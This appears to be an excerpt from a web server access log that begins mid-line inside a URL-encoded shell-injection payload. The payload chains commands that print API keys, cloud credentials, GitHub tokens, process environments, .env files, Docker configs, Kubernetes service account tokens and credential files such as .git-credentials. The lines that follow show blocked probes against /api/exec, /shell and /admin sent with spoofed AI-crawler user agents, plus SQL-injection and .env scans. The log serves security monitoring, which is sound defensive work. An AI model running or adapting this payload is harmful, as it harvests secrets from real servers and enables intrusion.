%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17550 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 36 **0/36830**
34.140.123.172 - - [04/Aug/2026:17:50:13 -0700] "POST / HTTP/2.0" 403 10865 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 23 **0/23143**
34.140.123.172 - - [04/Aug/2026:17:50:13 -0700] "POST / HTTP/2.0" 403 10865 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 20 **0/20212**
34.140.123.172 - - [04/Aug/2026:17:50:14 -0700] "POST /api HTTP/2.0" 403 10868 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 25 **0/25069**
34.140.123.172 - - [04/Aug/2026:17:50:14 -0700] "POST / HTTP/2.0" 403 10865 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 16 **0/16909**
34.140.123.172 - - [04/Aug/2026:17:50:15 -0700] "POST /api/exec HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 27 **0/27741**
34.140.123.172 - - [04/Aug/2026:17:50:15 -0700] "POST /api/run HTTP/2.0" 403 10872 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 14 **0/14982**
34.140.123.172 - - [04/Aug/2026:17:50:15 -0700] "POST /api/system HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 6 **0/6880**
34.140.123.172 - - [04/Aug/2026:17:50:16 -0700] "POST /execute HTTP/2.0" 403 10872 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 29 **0/29505**
34.140.123.172 - - [04/Aug/2026:17:50:18 -0700] "POST /admin/config HTTP/2.0" 403 10877 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 12 **0/12150**
34.140.123.172 - - [04/Aug/2026:17:50:18 -0700] "POST /admin HTTP/2.0" 403 10870 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 13 **0/13917**
34.140.123.172 - - [04/Aug/2026:17:50:18 -0700] "POST /debug HTTP/2.0" 403 10870 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 61 **0/61264**
34.140.123.172 - - [04/Aug/2026:17:50:18 -0700] "POST /shell HTTP/2.0" 403 10870 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 41 **0/41237**
34.140.123.172 - - [04/Aug/2026:17:50:19 -0700] "POST /api HTTP/2.0" 403 10868 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 30 **0/30647**
34.140.123.172 - - [04/Aug/2026:17:50:20 -0700] "POST /api/exec HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 7 **0/7320**
34.140.123.172 - - [04/Aug/2026:17:50:20 -0700] "POST /api/run HTTP/2.0" 403 10872 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 8 **0/8420**
34.140.123.172 - - [04/Aug/2026:17:50:20 -0700] "POST /api HTTP/2.0" 403 10868 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 15 **0/15953**
34.140.123.172 - - [04/Aug/2026:17:50:22 -0700] "POST /api/execute HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 12 **0/12363**
34.140.123.172 - - [04/Aug/2026:17:50:25 -0700] "GET /?id=1' HTTP/2.0" 403 10871 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 6 **0/6243**
185.93.89.167 - - [04/Aug/2026:18:22:04 -0700] "GET /.env HTTP/2.0" 403 10868 "-" "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0" 10 **0/10778**
185.93.89.167 - - [04/Aug/2026:18:22:05 -0700] "GET /api/.env HTTP/2.0" 403 10872 "-" "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0" 14 **0/14590**
185.93.89.167 - - [04/Aug/2026:18:22:05 -0700] "GET /backend/.env HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0" 27 **0/27079**
185.93.89.167 - - [04/Aug/2026:18:22:06 -0700] "GET /phpinfo.php HTTP/2.0" 403 10875 "-" "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0" 22 **0/22786**
185.93.89.167 - - [04/Aug/2026:18:22:06 -0700] "GET /admin/.env HTTP/2.0" 403 10874 "-" "Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0" 19 **0/19389**
@ Telegram